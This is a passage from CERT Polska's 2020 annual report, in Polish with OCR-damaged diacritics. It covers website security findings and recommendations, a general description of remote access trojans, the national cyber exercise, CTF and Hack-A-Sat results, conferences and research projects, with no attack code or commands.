+ Obecnosc i poprawnosc konfiguracji certyfi-

katow TLS;

+ Poprawnos¢ konfiguracji baz MySQL;
+ Poprawnosc¢ konfiguracji FTP;

+ Poprawnosc konfiguracji serwerow poczto-

wych;

+ Poprawnos¢ konfiguracji DNS.

Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczenstwa Dz.U. 2018 poz. 156

https://www.cert.pl/uploads/2020/11/Badanie-stron-oswiatowych.pdf
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Dla badanych stron nalezgcych do jednostek
samorzadu terytorialnego (JST) w 34 proc.
przypadkow udato sie rozpoznac¢ wykorzy-
stywany system zarzgdzania trescig (CMS).
W przypadku placowek oswiatowych byto to
43 proc. Na rys. 10. przedstawiono CMS dla
jednostek samorzadu terytorialnego, nato-

WordPress
44,4%

Quick.Cms
0,5%

TYPO3 CMS
1,0%

miast na rys. 11. dla placéwek oswiatowych.
Jak widac wiekszosc¢ z tych stron korzystata
z systemu WordPress oraz Joomla. W obu
przypadkach znaleziono liczne podatnosci wy-
nikajgce z nieaktualnej wersji oprogramowania
lub wtyczek.

Drupal
8,0%

Contao CMS
1,2%

Rys. 10. Rozktad rozpoznanych systemow zarzadzania trescig w polskich jednostkach samorzadu terytorialnego.
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WIX Website Builder
0,9%

Joomla
34,1%

Drupal
2,0%

WordPress
59,2%

Rys. 11. Rozktad rozpoznanych systemoéw zarzadzania trescig na stronach polskich placowek oswiatowych.

W 35 proc. badanych przypadkow dla serwe-
row hostujgcych strony JST oraz 39 proc. dla
placowek oswiatowych, zaobserwowalismy
baze danych dostepng bezposrednio z interne-
tu (najczesciej mysql oraz postgresql). Dodat-
kowo badanie dostepnych Sciezek ujawnito tez,
w przypadku niemal wszystkich stron, panel
administracyjny CMS lub bazy danych (np. php-
myadmin) dostepne publicznie. Rzeczy te same
W sobie nie sg traktowane jako podatnosg, ale
znacznie zwiekszajg powierzchnie ataku oraz
utatwiajg eskalacje, np. w przypadku uzyskania
poswiadczen administracyjnych.

41

Warto zauwazy¢, ze w prawie potowie bada-
nych przypadkéw, mimo ze strona posiadata
wersje strony udostepnianej z wykorzystaniem
protokotu HTTPS, zwracany certyfikat TLS byt
niepoprawny. Na rysunkach 12.i 13. pokazano
rozktad problemow z certyfikatami dla stron
JST oraz placowek oswiatowych.
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Wygasty
153%
Dlainnego CN
56,9%
Niezaufany
27,7%
Rys. 12. Gtéwne zidentyfikowane problemy z certyfikatami na stronach JST.
Wygasty
77%
Niezaufany
17,3%
Dlainnego CN

75,0%

Rys. 13. Gtéwne zidentyfikowane problemy z certyfikatami na stronach placowek oswiatowych.
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Warto podkreslic¢, ze wszystkie znalezione
problemy wraz ze szczegotowymi rekomen-
dacjami zostaty przekazane zainteresowanym
podmiotom. Okazuje sie, ze niskim naktadem
pracy mozna byto wyeliminowac¢ wiekszosc
z napotkanych problemdéw. Administratorom
stron CERT Polska zaleca:

+ Regularnie aktualizowac¢ systemy zarza-
dzania trescig, ich wtyczki oraz skorki. Jesli
strona nie jest oparta o tego typu system, ak-
tualizowac jej komponenty, jak np. biblioteki
JavaScript.

+ Sprawdzi¢ konfiguracje i aktualnosc¢ wykorzy-
stywanych ustug, w szczegolnosci serwerow
pocztowych i DNS.

+ Zadbac o poprawne wystawienie i waznosc¢
certyfikatow. Konfigurowac¢ automatyczne
przekierowanie strony z protokotu HTTP
na HTTPS.

Zwracac szczegolng uwage na pliki wystawio-
ne publicznie (przez serwer HTTP czy FTP),
zwitaszcza na to, czy nie zawierajg wrazliwych
informaciji, takich jak dane osobowe czy dane
logowania.

Uczuli¢ wszystkie osoby majgce dostep
umozliwiajgcy wprowadzanie zmian na stro-
nie, aby uzywaty silnych haset do logowania.

Zapewni¢ odpowiednig izolacje ustug od
internetu i nie pozwala¢ na dostep z zewnatrz
do ustug, do ktérych nie jest to niezbedne (np.
baz danych).

Zadbac o poprawng konfiguracje mechani-
zmow chronigeych przed podszywaniem sie
pod domene przy wysytce maili (SPF, DMARC,
DKIM).

Zadbac o poprawnosc i aktualnos¢ danych
w rejestrze domen.
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W CERT Polska od dawna specjalizujemy
sie w analizie ztosliwego oprogramowania,
a od dwoch lat uwaznie obserwujemy dziatania
RATOw (ang. Remote Access Trojans). Wyni-
kami dzielimy sie z zainteresowanymi organi-
zacjami, zarébwno na poziomie krajowym, jak
i miedzynarodowym (przez kontakty z innymi
zespotami CERT).

Co to jest RAT?

W Swiecie IT czesto konieczna jest zdalna
kontrola réznych urzgdzen. Przyktadowo, admi-
nistrator przeprowadza aktualizacje wszystkich
komputerow w firmie, albo pracownik helpde-
sku loguje sie na komputer osoby zgtaszajgcej
problem. Istnieje wiele legalnych programow
umozliwiajgcych zdalny dostep, na przyktad
Remote Desktop (wbudowany w system
Windows) albo TeamViewer. Takie narzedzia
nazywane sg rowniez “‘Remote Administration
Tool".

Niestety zdarza sie, ze uzytkownik staje
sie ofiarg przestepcy, ktory podstepem, np.
za pomocg ztosliwego zatgcznika albo makra
w dokumencie, naktania do zainstalowania
programu kontrolujgcego komputer bez wiedzy
uzytkownika. Takie programy dziatajg podob-
nie do swoich legalnych odpowiednikow, ale
ukrywajg sie przed prawowitym wtascicielem

S Przyktadowo https://github.com/quasar/Quasar
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sprzetu. Dodatkowo majg tez wiele ztosliwych
funkcji, takich jak wykradanie danych z zgdan
przegladarki, czytanie ciasteczek internetowych
zapisanych na dysku, cykliczne robienie zrzu-
tow ekranu i wysytanie ich do operatora bot-
netu itp. Tego typu ztosliwe oprogramowanie
nazywa sie Remote Access Trojans, w skrocie
RAT.

Troche zamieszania wprowadza fakt, ze RAT
to tez akronim od “Remote Administration
Tool". Co wiecej, niektdrzy autorzy ztosliwego
oprogramowania mowig o swoich produktach
‘Remote Administration Tools" i udajg, ze to
legalny program przeznaczony dla administra-
torow ITS. Warto zapamietac, ze w kontekscie
bezpieczenstwa IT, skrot RAT zawsze oznacza
ztosliwe oprogramowanie.

Obecnie wykorzystywane RAT-y

Staramy sie monitorowac¢ wszystkie pojawiajg-
ce sie zagrozenia, ale koncentrujemy sie szcze-
golnie na najczesciej uzywanych rodzinach.
Takg rodzing jest na przyktad popularny RAT
napisany w technologii .NET — AgentTeslas®.
Cechuje sie bardzo duzg popularnoscig wsrod
przestepcow, a takze prostotg w konfiguracji
i obstudze. Po czesci zawdziecza to temu,
ze od 2014 r. jest nieustannie udoskonalany.
By¢ moze z tego powodu najwiecej wykradzio-
nych kont trafia do nas wtasnie od niego.

Technologia .NET jest zresztg bardzo popularna w $wiecie RAT. Prawdopodobnie dlatego, ze pisze sie w niej tatwo, A4

oraz jest wszechobecna na systemach z rodziny Windows
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Inng popularng rodzing ztosliwego oprogramo-
wania jest HawkEye Keylogger (réwniez napisa-
ny w .NET). Pomimo swojej nazwy, oprocz za-
pisywania nacisniec klawiszy, pozwala rowniez
operatorom na wykradanie zapisanych haset
z przegladarek, klientow pocztowych i innego
oprogramowania.

Dodatkowo analizujemy tez rzadziej obserwo-
wane przez nas rodziny, takie jak OrcusRAT,
NjRAT iinne.

Dziatania CERT Polska

Skala problemu jest ogromna. Niestety
nie dysponujemy wystarczajgcymi srodkami,
aby samodzielnie sie z nim zmierzy¢. Z drugiegj
strony, podczas przeprowadzanych badan,
zaczelismy natrafia¢ na duze ilosci kont nale-
zacych do zainfekowanych uzytkownikow inter-
netu. Zdecydowalismy sie zaczgc¢ rozsytac je
do zainteresowanych instytucji oraz CSIRTOw
poziomu krajowego spoza Polski.

W roku 2020 zebralismy 294 135 kont uzytkow-
nikow. Tylko 5833 incydentéw dotyczyto stron
w domenie .pl, ale az 11 448 dotyczyto domen
.gov.xxx, zas 11 .mil.xxx. Informacje o najgroz-
niejszych zdarzeniach rozestalismy manualnie
do wiasciwych podmiotéw. Pracujemy rowniez
nad automatyzacjg tego procesu, aby méc
realizowac projekt na wieksza skale.
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Z powodu obostrzen wprowadzonych w zwigz-
ku z rozwojem pandemii COVID-19 wiele
z zaplanowanych miedzynarodowych ¢wiczen
i konkurséw nie doszto do skutku w 2020 r.
Odwotane zostaty miedzy innymi ¢wiczenia
Locked Shields 2020 oraz Cyber Europe 2020.
Nie zostaty takze zorganizowane eliminacje
i finaty zawodoéw dla mtodziezy: European
Cyber Security Challenge. Czes¢ konkursow
przeniosta sie w catosci do wirtualnego swiata.

KSC-EXE

22 i 23 wrzesnia odbyty sie krajowe ¢wiczenia
wspotdziatania podmiotéw cyberbezpieczen-
stwa KSC-EXE 2020. Zostaty one zorganizo-
wane przez Ministerstwo Cyfryzacji we wspot-
pracy z Fundacjg Bezpieczna Cyberprzestrzen
i NASK Panstwowym Instytutem Badawczym.
Celem ¢wiczen byto sprawdzenie praktycznego
funkcjonowania mechanizmow przewidzianych
w ustawie o krajowym systemie cyberbezpie-
czenstwa i niektorych innych dokumentach
regulacyjnych w symulowanych sytuacjach
skomplikowanych incydentéw o szerokim
oddziatywaniu.

Cwiczenie miato charakter gry decyzyjnej,
a zadaniem uczestnikéw byto komunikowanie
sie miedzy sobg, uzyskanie obrazu sytuacji,
a nastepnie koordynacja dziatan i w koncu roz-

wigzanie incydentu. Scenariusze nie zawieraty
elementoéw technicznych. W czasie ¢wiczenia
testowane byty przepisy, procedury i procesy.

Dwudniowe ¢wiczenia podzielone byty
na cztery niezalezne, rozgrywane przez pot
dnia scenariusze. Trzy z nich dedykowane byty
poszczegolnym sektorom: energii, bankowosci
i telekomunikacji. Z kolei czwarty scenariusz
byt w zatozeniu przekrojowy i miat angazowac
wszystkich uczestnikow. Praktyka pokazata
jednak, ze w zainscenizowanych sytuacjach do-
tyczgcych konkretnego sektora, do dziatania
wigczaty sie takze pozostate instytucje biorgce
udziat w cwiczeniu.

Drugi ze scenariuszy dotyczyt sektora teleko-
munikacji i ustug cyfrowych. W zakresie praw-
nym i proceduralnym obejmowat az trzy rezimy:
ustawy o krajowym systemie cyberbezpie-
czenstwa, ustawy o zarzadzaniu kryzysowym
oraz ustawy o prawie telekomunikacyjnym.
Zdarzeniem poczgtkowym byty dwa incydenty
0 nieznanych przyczynach, ktore w zaleznosci
od gracza mogty wskazywac na awarie tech-
niczng, btad ludzki lub atak. Nie dla wszystkich
uczestnikow byto jasne z iloma incydentami
mamy do czynienia.

Przy tworzeniu symulacji zaktadano wiele

mozliwych rozwigzan wynikajgcych z naktada-
jacych sie zakresow wtasciwosci i kompetencji.
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W ¢wiczeniach KSC-EXE 2020 uczestniczyli
przedstawiciele Ministerstwa Cyfryzacji, Mini-
sterstwa Klimatu, Ministerstwa Infrastruktury,
Ministerstwa Obrony Narodowej oraz Urzedu
Komisji Nadzoru Finansowego (wraz z sekto-
rowym zespotem CSIRT), zespoty reagowania
na incydenty poziomu krajowego, czyli CSIRT
GOV, CSIRT MON, CSIRT NASK, przedstawiciele
Ministerstwa Spraw Wewnetrznych i Admini-
stracji, Rzgdowego Centrum Bezpieczenstwa
i Urzedu Komunikacji Elektronicznej oraz ope-
ratorzy ustug kluczowych i przedsiebiorstwa
z sektorow: energia, bankowosc i telekomuni-
kacja.

Scena CTF

Konkursy Capture The Flag (CTF) to druzynowe
zawody bezpieczenstwa teleinformatycznego.
Organizowane sg niezaleznie przez instytucje
naukowe, rzgdy panstw, organizacje pozarzg-
dowe, firmy w branzy cyberbezpieczenstwa,
a takze przez same zespoty CTF. Zawody
mozna podzieli¢ wedtug formy oraz miejsca
rozgrywki.

Najpopularniejsza formuta to “jeopardy”’, w kto-
rej druzyny rozwigzujg od kilkunastu do kilku-
dziesieciu zadan o zroznicowanej trudnosci
w nastepujgcych kategoriach: testowanie bez-
pieczenstwa aplikacji internetowych, inzynieria
wsteczna oprogramowania, kryptografia czy
wykorzystywanie podatnosci w aplikacjach.
Rozwigzanie zadania konczy sie zdobyciem
flagi — kawatka tekstu, ktéry druzyna na platfor-
mie konkursowej wymienia na punkty. Zespot,
ktory zdobedzie ich najwiecej, wygrywa zawo-
dy.

Inna formuta to “attack/defence”, w ktorej
kazda z druzyn otrzymuje kopie infrastruktury,
na ktorej dziatajg ustugi — aplikacje przygo-
towane przez organizatorow. Zawody dzielg
sie na kilkuminutowe rundy, podczas ktorych
kazda z druzyn stara sie wykrasc¢ flagi chronio-
ne przez ustugi uruchomione w infrastrukturze
pozostatych zespotow. Wygrywa ten zespot,
ktéry straci jak najmniej flag (potrafi szybko
zidentyfikowac¢ podatnosci oraz zabezpieczy¢
swoje ustugi) i wykradnie ich jak najwiece]
(zdota wykorzysta¢ znalezione podatnosci
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oraz omija¢ zabezpieczenia wdrozone przez
inne zespoty). Najwiecej konkurséw odbywa sie
w formie pojedynczych zawodéw CTF przepro-
wadzanych w internecie w formule “jeopardy”.
Natomiast w czesci z nich, internetowe kwalifi-
kacje stuzg do wytonienia kilkunastu zespotow,
ktére nastepnie rywalizujg ze sobg w finatach
organizowanych “offline”, czesto réwniez w for-

mule “attack/defence”.

Choc¢ konkursy CTF z roku na rok zdobywajg
coraz wiekszg popularnos¢, w 2020 r. restrykcje
zwigzane z globalng pandemig negatywnie
wptynety na scene CTF. Mimo tego, ze wiek-
szos¢ zawodow odbywa sie w internecie to
cechg najbardziej prestizowych konkurséw byty
finaty organizowane “offline”, z reguty przy oka-
zji konferencji poswieconych bezpieczenstwu
teleinformatycznemu. Z powodu COVID-19
czesc¢ z nich zostata catkowicie odwotana,
a czesc odbyta sie “online”, do czego zespoty
CTF, zwtaszcza te bardziej doswiadczone
nie podeszty z entuzjazmem. Byta to rownocze-
Snie szansa dla mtodszych zespotow na osig-
gniecie wyzszych miejsc w rankingu ctftime.org
— agregatora konkursow i zespotow CTF.
Pierwsze miejsce, ze sporg przewaga, zajeto
perfect blue — zespot ztozony z amerykanskich
studentéw. Drugie miejsce zajat “konglomerat”
potgczonych zespotow pochodzgcych z Rosji,
More Smoked Leet Chicken, a trzecie przypadto
obecnie paneuropejskiemu zespotowi hxp wy-
wodzgcemu sie z Niemiec. Czterem polskim
zespotom udato sie zajg¢ miejsca w pierwszej
setce globalnego rankingu. Zespot p4 uplaso-
wat sie na 8. miejscu, zespot Dragon Sector
na 10., a justCatTheFish na 12. AkademickKi
zespot z Uniwersytetu Warszawskiego Made in
MIM zajat 67. migjsce.



Place Team
w 1 perfect blue
2 More Smoked Leet Chicken
3 hxp
4 TokyoWesterns

5 Plaid Parliament of Pwning

6 ALLES!
7 Balsn
8 p4

9 Tea Deliverers

10 Dragon Sector

Polacy organizowali rowniez wtasne konkursy
CTF klasyfikowane w rankingu CTFTime.
Zaroéwno kwalifikacje, jak i finaty konkursu
CONFidence CTF organizowanego przez ze-
spot p4 odbyty sie online, a zwyciezcg finatow
okazat sie tajwanski zespo6t Balsn. W corocz-
nym konkursie organizowanym przez Dragon
Sector (w tym roku réwniez tylko w internecie)
zwyciezyto perfect blue. Z powodu pandemii
odwotane w 2020 r. zostaty europejskie zawody
European Cyber Security Challenge organi-
zowane przez Agencje Unii Europejskiej ds.
Cyberbezpieczenstwa (ENISA), a razem z nimi
krajowe kwalifikacje wytaniajgce reprezentacje,
w tym konkurs kwalifikacyjny organizowany co
roku przez zespot CERT Polska.

Konkurs Hack-A-Sat

Pod koniec 2019 r. Departament Sit Powietrz-
nych Stanow Zjednoczonych zapowiedziat
chec organizacji konkursu cyberbezpieczen-
stwa pod nazwg “Hack-A-Sat”. Wydarzenie
miato odby¢ sie na konferencji DefCon w sierp-
niu 2020 r. w ramach jednej z jej tematycznych
spotecznosci — Aerospace Village. Celem kon-
kursu miata by¢ rywalizacja druzyn, w ktorych
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wspotpracowac ze sobg musieli specjalisci
zajmujacy sie cyberbezpieczenstwem oraz
eksperci znajgcy zagadnienia technologii ko-
smicznych. Elementem wyrdzniajgcym konkurs
miata by¢ obecnos¢ satelitow oraz oprogra-
mowania, ktérymi na co dzien postuguje sie
amerykanskie wojsko.

Pandemia pokrzyzowata plany organizacji
finatow wydarzenia. Zdecydowano, ze zaréwno
finaty, jak i poprzedzajgce je kwalifikacje od-
bedg sie w catosci zdalnie. Cho¢ poczagtkowo
maowiono o szczegdlnych wymaganiach, ktore
spetni¢ mieli uczestnicy, ostatecznie orga-
nizatorzy postanowili otworzy¢ konkurs dla
wszystkich chetnych druzyn.

Do kwalifikacji, ktére odbyty sie w maju 2020 .,
przystgpita rowniez polska druzyna pod nazwa
Poland Can Into Space. Trzon druzyny stanowili
gracze zespotow CTF p4 oraz Dragon Sector.
Oprocz graczy CTF, w sktad polskiej druzyny
wchodzity osoby, ktore posiadajg specjalistycz-
ng wiedze z zakresu technologii kosmicznych,
zdobytg m.in. podczas organizacji studenckich
misji satelitarnych, takich jak PW-Sat?2.
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Kwalifikacje

Konkurs kwalifikacyjny odbyt sie w tradycyjnej
formule "jeopardy”. Organizatorzy udostepnili
34 zadania podzielone na kategorie zwigzane
m.in. z:

+ astronomig, astrofizykg, astrometrig i astro-
dynamika (tzw. "AAAA"),

+ protokotami komunikacji urzgdzen na sate-
licie oraz modutami, ktore moga operowac
na satelicie,

+ stacjami naziemnymi oraz systemami komu-
nikacji z satelitg (w tym teorig przetwarzania
sygnatow).

q
Q
=
-

PPP

FluxRepeatRocket
ADDVulcan
SEINIIE]

Solar Wine

PFS

15FittyTree
1064CBread
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Rys. 14. Wyniki konkursu kwalifikacyjnego Hack-A-Sat.

Finaty

Finaty Hack-A-Sat znacznie odbiegaty formuta
od typowego konkursu typu Capture The Flag.
Przede wszystkim odbywaty sie z uzyciem
prawdziwego satelity. Na kilka tygodni przed
finatami organizatorzy wystali kazdej druzynie
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Poland Can Into Space

Z perspektywy typowego konkursu CTF,
zadania mozna byto podzieli¢ na kategorie
zwigzane z obstugg oprogramowania, jego
inzynierig wsteczng, wyszukiwaniem oraz
wykorzystywaniem podatnosci (skupiajgc
sie na architekturach procesoréw, systemow
operacyjnych i oprogramowaniu, ktore uzywane
sg w przemysle kosmicznym), a takze zadania,
w ktorych wazne byty umiejetnosci programo-
wania i algorytmiki.

Dwudniowe kwalifikacje okazaty sie udane
dla polskiego zespotu. Poland Can Into Space,
zajmujac drugie miejsce (sposréd ponad
1200 druzyn), zapewnit sobie udziat w finatach
Hack-A-Sat. Pierwsze miejsce, z niewielkg
przewaga, zajagt amerykanski zespot Plaid
Parliament of Pwning, a trzecie zespot FluxRe-
peatRocket ztozony z trzech niemieckich ekip
CTF: FluxFingers, Eat Sleep Pwn Repeat oraz
Red Rocket.

team

w petni funkcjonalny model satelity (cubesata
EyasSat), ktérego Sity Powietrzne Stanow Zjed-
noczonych uzywajg do szkolenia studentow
W swojej akademii. Zadaniem kazdego zespotu
byto doktadne poznanie satelity, jego urzgdzen
i systemow, poniewaz taki sam model satelity
miat by¢ wykorzystany w konkursie finatowym.
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Z powodow prawnych oraz logistycznych pol-
ski zespot postanowit, ze satelita pozostanie
w USA pod opiekg jednego z cztonkow zespotu,
a reszta bedzie komunikowac sie z satelitg
zdalnie. Niestety, okazato sie to rowniez pro-
blematyczne. Przez Long Island, gdzie przecho-
wywany byt satelita, przeszta niezwykle silna
burza tropikalna “Isaias”, ktora spowodowata
przerwy w dostawie prgdu do ponad 400 ty-
siecy domow. Szybka reakcja cztonka druzyny
oraz zasilenie satelity z generatora na benzyne

pozwolity wszystkim cztonkom zespotu na nie-
przerwang analize jego systemow.

Sercem satelity byt uktad FPGA, na ktérym
zaimplementowany byt procesor LEON3 w ar-
chitekturze SPARC. Systemem operacyjnym
byt system czasu rzeczywistego RTEMS, a role
systemu sterowania lotem petnit NASA cFS
(core Flight System). Dodatkowym modutem
byt aparat wraz ze swoim dedykowanym ste-
rownikiem z procesorem w architekturze ARM.

Rys. 15. Satelita uzywany w konkursie finatowym.
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W konkursie finatowym satelity, po jednym
przypisanym do kazdego z zespotow, byty
przypiete na specjalnym wysiegniku, w postaci
karuzeli, ktora symulowata ruch satelitow
i radiowg komunikacje z nimi. Scenariusz
konkursu zaktadat, ze kazdy z zespotéw musi
odzyskac kontrole nad swoim satelitg, ktora
zostata utracona w wyniku ataku hakerskiego.
W tym celu zespoty musiaty rozwigzac piec ko-
lejnych zadan. Zanim zespoty mogty przystgpic
do wykonania pierwszego zadania, musiaty naj-
pierw odzyskac kontrole nad stacjg naziemna.
Nalezato wykorzystac¢ podatnosc¢ w aplikacji
internetowej, z poziomu ktérej mozliwy byt
dostep do oprogramowania stacji naziemnej.

Pierwsze zadanie polegato na nawigzaniu
komunikacji z satelitg, ktory w dodatku obra-
cat sie w niekontrolowany sposob. Nalezato
odpowiednio skonfigurowac¢ parametry stacji
naziemnej oraz samego satelity, tj. zwiekszyc¢
moc, a takze zmniejszy¢ czestotliwosc¢ nada-
wania telemetrii.

Drugie zadanie polegato na odzyskaniu kontroli
nad systemem prowadzenia, nawigacji i ste-
rowania (“Guidance, Navigation and Control”)
oraz zatrzymaniu niekontrolowanego obracania
sie satelity. W tym celu nalezato zresetowac
system okreslania wysokosci i sterowania
("Attitude Determination and Control System”)
oraz wystac prawidtowe tabele konfiguracyjne,
ktore zostaty uszkodzone przez atakujgcych.

Trzecie zadanie polegato na przywroceniu
wszystkich funkcji systemu sterowania lotem.
Atakujgcy zmodyfikowali kod podsystemu
przyjmowania i wykonywania polecen (“Com-
mand And Data Handling”), ktéry odmawiat
wykonywania wiekszosci wysytanych przez
zespoty komunikatow. Nalezato znalezC i wy-
korzystac podatnosc bezpieczenstwa w kodzie
pozostawionym przez atakujgcych i przesta-
nym kodem maszynowym (“shellcode”) odblo-
kowac¢ mozliwos¢ wykonywania wszystkich
polecen systemu sterowania lotem.

Czwarte zadanie polegato na przywroceniu
komunikacji pomiedzy systemem sterowania
lotu a sterownikiem aparatu umieszczonego
na satelicie. Atakujgcy dokonali sabotazu
psujgc proces uruchamiania sterownika. Aby
go naprawic, zespoty musiaty napisac¢ dedyko-
wany program — modut systemu sterowania
lotem, ktory w poprawny sposéb uruchamiat
sterownik.

Ostatnie, pigte zadanie polegato na wykonaniu
zdjecia aparatem umieszczonym na satelicie
i przestanie go do stacji naziemne).

Dodatkowym zadaniem byto zaprojektowanie
optymalnego planu misji polegajgcej na wyko-
naniu zdjecia prawdziwym satelitg. Nalezato
tak dobrac parametry kontroli orientacjg sa-
telity, aby wykonane zdjecie spetniato wymogi
postawione przez organizatorow. Polski zespot
przygotowat najlepszy plan misji, ktora zostata
zrealizowana drugiego dnia zawodow przez
satelite znajdujgcego sie na orbicie okotoziem-
skiej. Misja polegata na wykonaniu zdjecia
Ksiezyca.
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Rys. 16. Zdjecie Ksiezyca wykonane w ramach planu misji przygotowanego przez polski zespot.

Zespot Poland Can Into Space w gtownej rywalizacji finatowej zdobyt drugie miejsce oraz otrzymat
nagrode w wysokosci 45 tysiecy dolarow. Pierwsze miejsce zajagt amerykanski zespot PFS, a trzecie
niemiecki zespot FluxRepeatRocket.
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W 2020 r. NASK PIB byt organizatorem cyklu
konferencji, ktére odbywaty sie pod marka
SECURE. Jak zawsze — o poziom merytorycz-
ny i atrakcyjny program wydarzenia dbat CERT
Polska. SECURE 2020 po raz trzeci organizo-
wany byt wspdlnie z NASK SA. Ze wzgledu
na sytuacje epidemiczng zwigzang z pande-
mig COVID-19, prelekcje odbyty sie w formie
zdalnej. Udziat we wszystkich spotkaniach byt
bezptatny. Pomimo utrudnionego networkingu,
ktory jest nieodzownym elementem tego typu
wydarzen, wysoka wartos¢ merytoryczna
prezentacji wygtoszonych przez prelegentow
wynagradzata wszelkie niedostatki.

Cykl spotkan otworzyt SECURE Early Bird, czyli
jednodniowe seminarium techniczne, ktorego
trzecia edycja odbyta sie 16 czerwca 2020 r. Go-
sciem specjalnym byt tukasz Siewierski z Go-
ogle, ktory wygtosit wyktad pod tytutem ,Zen
— ztozony system ztosliwych aplikacji na plat-
forme Android”. Specjalisci z CERT Polska
i NASK opowiedzieli natomiast o projekcie
Karton, stuzgcym do taczenia systemow ana-
lizujgcych malware w spojny pipeline (Pawet
Srokosz), systemie FLDX i autonomicznej
ochronie przepustowosci sieci w dobie epi-
demii (dr hab. inz. Michat Karpowicz), a takze
o tym “Jak zbierac zte dane dane w dobrym
celu” (Jarostaw Jedynak).
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Gtowne wydarzenie, czyli dwudniowa konfe-
rencja SECURE, miato miejsce 6-7 pazdzier-
nika 2020 r. Wydarzenie zostato podzielone
na cztery niezalezne sciezki tematyczne: Cyber
dla kazdego (gtéwna sesja plenarna), Hardcore
(sciezka techniczna), Menedzerska (sciezka
dotyczgca zarzgdzania bezpieczenstwem
i zespotami) oraz Policy (obejmujgca tematyke
strategii, polityk i regulaciji).

Pierwszy dzien konferencji otworzyt Lance
Spitzner z SANS Security Awareness pre-
zentacjg pod tytutem “Social Engineering
Attacks — Why They Are So Effective, and How
the Bad Guys are Getting Even Better’, porusza-
jaca temat rozwoju atakow socjotechnicznych,
ich rosngcej skutecznosci oraz sposobow
walki z nimi. Natomiast drugi dzien konferenc;ji
rozpoczat sie prezentacjg Adama Haertle
z Zaufanej Trzeciej Strony pod tytutem “Jak
kochac to emaile, jak krasc¢ to miliony”.

W ramach poszczegolnych Sciezek, swoje pre-
zentacje wygtosili najlepsi specjalisci z cyber-
bezpiezpieczenstwa, tacy jak dr Marco Balduzzi
(Trend Micro), John Salomon (FS-ISAC), Robert
Lipovsky (ESET), Adam Lange (Standard Char-
tered Bank), dr inz. Agnieszka Gryszczynska
czy Michat Leszczynski (CERT Polska). Stu-
chajgc prezentacji podczas sciezki Hardcore
moglismy dowiedzie¢ sie miedzy innymi o tym,



jak identyfikowac exploity pod kgtem autora
i wykorzystac te informacje do tworzenia sy-
gnatur, o czym opowiedzieli nam Itay Cohen
i Eyal Itkin z Check Point Research. Natomiast
w ramach sciezki Menedzerskiej, Piotr Borkow-
ski ze Standard Chartered Bank zaprezentowat,
w jaki sposéb zespoty Red Team potrafig zmie-
ni¢ oblicze cyberbezpieczenstwa w organizacji.
Oprocz licznych prezentacji podczas sciezki
Policy odbyty sie rowniez dwie debaty. Pierw-
szy dzien konferencji zostat zamkniety debatg

7 https://www.youtube.com/user/CERTPolska/videos
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na temat spostrzezen dotyczgcych dotychcza-
sowego dziatania Krajowego System Cyberbez-
pieczenstwa. Natomiast drugiego dnia odbyta
sie debata oksfordzka, ktérej uczestnicy dys-
kutowali na temat tego “Czy COVID-19 wptynat
na przebieg cyfrowej rewolugji”.

Nagrania z tej, jak i poprzednich edycji kon-
ferencji SECURE mozna obejrze¢ na kanale
YouTube CERT Polska”.

By
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Od 2011 r. CERT Polska przygotowuje polska
wersje biuletynu edukacyjnego “OUCH!". Jest
to publikacja Instytutu SANS w formie dwu-
stronicowego miesiecznika, poruszajgcego
aspekty cyberbezpieczenstwa w codziennym
kontakcie z technologig, jezykiem zrozumiatym
dla wszystkich.

W 2020 r. z “OUCH!" mozna byto dowiedziec sie
m.in. o ransomware, fatszywych informacjach,
bezpieczenstwie dzieci online, a takze bezpie-
czenstwie wideokonferencji.

"“OUCH!" jest udostepniony na licencji Cre-
ative Commons BY-NC-ND 3.0, co oznacza,
ze biuletyn moze by¢ dowolnie rozpowszech-
niany w kazdej organizacji, pod warunkiem,
ze nie jest wykorzystywany w celach komer-
cyjnych. Wszystkie polskie wydania mozna

znalez¢ pod adresem https:/cert.pl/ouch.



https://cert.pl/ouch

\mportant

CERT Polska brat w 2020 r. udziat w kilku
projektach badawczych i wykonawczych. Po-
nizej opisujemy zadania wykonane przez nasz
zespot i zwigzane z nimi produkty.

RegSOC

Wspolnie z Zespotem Metod Bezpieczenstwa
Sieci w NASK kontynuujemy rozwoj systemow
do automatycznej analizy zagrozen rozpo-
wszechnianych poprzez poczte elektroniczng,
W szczegolnosci zwigzanych ze szkodliwym
oprogramowaniem oraz phishingiem. Prace
odbywajg sie w ramach projektu RegSOC
(Regionalne Centrum Bezpieczenstwa Cyber-
netycznego), prowadzonego przez konsorcjum,
ktorego liderem jest Politechnika Wroctawska.

W 2020 r. rozwijalismy system identyfikujgcy
kampanie spamowe na podstawie duzej liczby
wiadomosci. Analizowany spam zbierany jest
z wielu zrodet, m.in:

* honeypotéw SMTP wabigcych spamerow
(tzw. spampoty),

+ domen zarejestrowanych specjalnie na po-
trzeby zbierania niechcianych wiadomosci
mailowych,

+ sandboksy,

« filtry antyspamowe.

nask CERT.PLOZ

Istotnym kamieniem milowym byto dodanie
integracji z platformg wymiany danych MISP,
ktora znaczgco utatwia wymiane pozyska-
nych informacji z innymi zespotami typu SOC
i CSIRT.

Projekt jest wspotfinansowany przez Narodowe
Centrum Badan i Rozwoju w ramach programu
CyberSecldent, numer umowy CYBERSE-
CIDENT/381690/1I/NCBR/2018.

MeliCERTes

W styczniu 2020 r. rozpoczelismy prace nad
projektem MeliCERTes (SMART 2018/1024)
w ramach kontraktu z Komisjg Europejska,
w ktérym NASK ma role lidera miedzynaro-
dowego konsorcjum rozwijajgcego platforme
MeliCERTes. Platforma stuzy jako narzedzie
wspotpracy dla europejskiej Sieci CSIRT
(CSIRTs Network), w sktad ktérej wchodza
przedstawiciele CSIRT-Ow wszystkich panstw
cztonkowskich UE, CERT-EU i Komisja Euro-
pejska jako obserwator. Gtownym zatozeniem
projektu MeliCERTes jest umozliwienie efektyw-
nej wymiany informacji operacyjnych miedzy
zespotami CSIRT w celu wykrywania i zapobie-
gania incydentom oraz koordynowania reakcji
na poziomie europejskim.
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W ramach projektu bedg rozwijane i utrzymane
systemy do wymiany informacji o zagrozeniach
jak MISP8 i IntelMQ® oraz zostang rowniez
wdrozone nowe narzedzia, m.in. do zbierania
informacji o podatnosciach, analizy szkodliwe-
go oprogramowania na duzg skale czy wykry-
wania wyciekow danych. Szczegdlny nacisk
bedzie potozony na potrzeby nowych CSIRT-Ow.
Istotng role petni ENISA (Europejska Agencja
Bezpieczenstwa Sieci i Informacji), ktdra obstu-
guje centralne komponenty platformy.

Projekt bedzie trwac trzy lata, a w sktad kon-
